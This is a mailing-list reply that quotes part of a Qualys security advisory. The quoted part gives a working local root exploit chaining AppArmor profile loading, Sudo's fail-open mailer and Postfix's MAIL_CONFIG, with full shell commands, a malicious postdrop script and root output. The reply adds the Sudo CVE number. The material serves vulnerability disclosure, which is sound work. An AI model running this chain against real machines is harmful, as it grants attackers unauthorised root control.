Hi,

On Thu, Mar 12, 2026 at 09:33:57PM +0000, Qualys Security Advisory wrote:
[...]
> AppArmor + Sudo + Postfix = root
[...]
> ========================================================================
> AppArmor + Sudo + Postfix = root
> ========================================================================
> 
>     Did you get your disconnection notice?
>     Mine came in the mail today
>         -- Sonic Youth, "Disconnection Notice"
> 
> As an unprivileged local attacker, the ability to load, replace, and
> remove arbitrary AppArmor profiles is remarkable, but our crucial and
> burning question was: can this ability be transformed into an LPE to
> full root privileges? Our key idea was to load new AppArmor profiles
> that deny certain syscalls to certain privileged programs, and
> consequently to create exploitable "fail-open" situations.
> 
> From our work on Baron Samedit, we remembered that when Sudo encounters
> an unusual situation, it sends a mail to the system's administrator. And
> to send such a mail on Ubuntu, Sudo executes /usr/sbin/sendmail as our
> unprivileged user, not as root, with our original environment variables
> preserved (excluding the obviously dangerous variables such as LD_AUDIT
> and LD_PRELOAD, which were removed from the environment by the dynamic
> loader, ld.so, before the execution of Sudo's main() function).
> 
> From CVE-2002-0043:
> 
>   https://www.sudo.ws/security/advisories/postfix/
>   (by Sebastian Krahmer)
> 
> we also remembered that if the Postfix mail server is installed on the
> system, and if Postfix's /usr/sbin/sendmail is executed as root but with
> user-controlled environment variables (in particular, the MAIL_CONFIG
> environment variable), then Postfix can be forced by the unprivileged
> user into executing arbitrary commands as root.
> 
> Our burning question therefore became: if we, as an unprivileged local
> attacker, load a new AppArmor profile that denies the setuid capability
> (CAP_SETUID) to Sudo (thereby potentially preventing Sudo from dropping
> its root privileges before it executes Postfix's /usr/sbin/sendmail),
> and if we execute Sudo with a MAIL_CONFIG environment variable that
> points to our own Postfix configuration in /tmp, is the /usr/bin/id
> command from our Postfix configuration executed as root? The answer:
> 
> ------------------------------------------------------------------------
> $ grep PRETTY_NAME= /etc/os-release
> PRETTY_NAME="Ubuntu 24.04.3 LTS"
> 
> $ id
> uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
> 
> $ dpkg -S /usr/sbin/sendmail
> postfix: /usr/sbin/sendmail
> 
> $ mkdir /tmp/postfix
> 
> $ cat > /tmp/postfix/main.cf << "EOF"
> command_directory = /tmp/postfix
> EOF
> 
> $ cat > /tmp/postfix/postdrop << "EOF"
> #!/bin/sh
> /usr/bin/id >> /tmp/postfix/pwned
> EOF
> 
> $ chmod -R 0755 /tmp/postfix
> 
> $ apparmor_parser -K -o sudo.pf << "EOF"
> /usr/bin/sudo {
>   allow file,
>   allow signal,
>   allow network,
>   allow capability,
>   deny capability setuid,
> }
> EOF
> 
> $ su -P -c 'stty raw && cat sudo.pf' "$USER" > 
> /sys/kernel/security/apparmor/.replace
> Password: 
> 
> $ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever
> sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
> sudo: unable to open /etc/sudoers: Operation not permitted
> sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
> sudo: error initializing audit plugin sudoers_audit
> 
> $ cat /tmp/postfix/pwned
> uid=0(root) gid=1001(jane) groups=1001(jane),100(users)
> ^^^^^^^^^^^
> ------------------------------------------------------------------------
> 
> The surprising sequence of events that led to this LPE as root is:
> 
> - in sudoers_init(), Sudo calls setresuid(0, -1, -1) to set its real uid
>   to 0 (PERM_ROOT), which succeeds because its effective and saved uids
>   are already 0 (Sudo is SUID-root);
> 
> - in open_sudoers() (more precisely, in open_file()), Sudo calls
>   setresuid(-1, 1, -1) to temporarily set its effective uid to 1
>   (PERM_SUDOERS), which fails (with EPERM, "Operation not permitted")
>   because none of Sudo's uids is 1 (they are all 0) and because Sudo
>   does not have the CAP_SETUID (our AppArmor profile denies it);
> 
> - back in sudoers_init(), Sudo calls mail_parse_errors() to send a mail
>   to the administrator about this setresuid() failure ("problem parsing
>   sudoers", "unable to open /etc/sudoers: Operation not permitted");
> 
> - then, in exec_mailer(), Sudo calls setuid(0) (at line 331 below) to
>   set all of its uids to 0, which succeeds because they are already 0;
> 
> - still in exec_mailer(), Sudo calls setuid(1001) (at line 336) to
>   permanently set all of its uids to our unprivileged user's uid, which
>   fails (with EPERM, "Operation not permitted") because none of Sudo's
>   uids is 1001 (they are all 0) and because Sudo does not have the
>   CAP_SETUID (our AppArmor profile denies it);
> 
> - finally, and despite this setuid() failure, Sudo's exec_mailer() calls
>   execv() (at line 345) to execute Postfix's /usr/sbin/sendmail with our
>   original environment variables (including our MAIL_CONFIG), as root
>   instead of our unprivileged user (because the setuid(1001) to drop
>   Sudo's root privileges failed).
> 
> ------------------------------------------------------------------------
>  284 exec_mailer(int pipein)
>  ...
>  327     /*
>  328      * Depending on the config, either run the mailer as root
>  329      * (so user cannot kill it) or as the user (for the paranoid).
>  330      */
>  331     if (setuid(ROOT_UID) != 0) {
>  332         sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u",
>  333             ROOT_UID);
>  334     }
>  335     if (evl_conf->mailuid != ROOT_UID) {
>  336         if (setuid(evl_conf->mailuid) != 0) {
>  337             sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to 
> %u",
>  338                 (unsigned int)evl_conf->mailuid);
>  339         }
>  340     }
>  ...
>  342     if (evl_conf->mailuid == ROOT_UID)
>  343         execve(mpath, argv, (char **)root_envp);
>  344     else
>  345         execv(mpath, argv);
> ------------------------------------------------------------------------
> 
> Note: without the ability to load an AppArmor profile that denies the
> CAP_SETUID to Sudo, this "fail-open" situation in Sudo would not be
> exploitable, for the reasons explained in the "execve() and EAGAIN"
> section of "man execve".
> 
> Last-minute note: while writing a mail to Sudo's maintainer about this
> "fail-open" situation, we noticed that it was independently discovered,
> reported, and fixed in November 2025 (commit 3e474c2):
> 
> ------------------------------------------------------------------------
> exec_mailer: Set group as well as uid when running the mailer
> Also make a setuid(), setgid() or setgroups() failure fatal.
> Found by the ZeroPath AI Security Engineer <https://zeropath.com>
> ------------------------------------------------------------------------
> 
> Slightly disappointed by this user-space LPE (because Postfix is not
> installed by default on Ubuntu anymore), we decided to explore one more
> idea: maybe AppArmor's kernel code contains vulnerabilities that can be
> exploited in kernel space by loading, replacing, or removing arbitrary
> AppArmor profiles?

To close the circle here: sudo has a own CVE for the issue addressed
above, it is CVE-2026-35535.

https://www.cve.org/CVERecord?id=CVE-2026-35535

Regards,
Salvatore

Reply via email to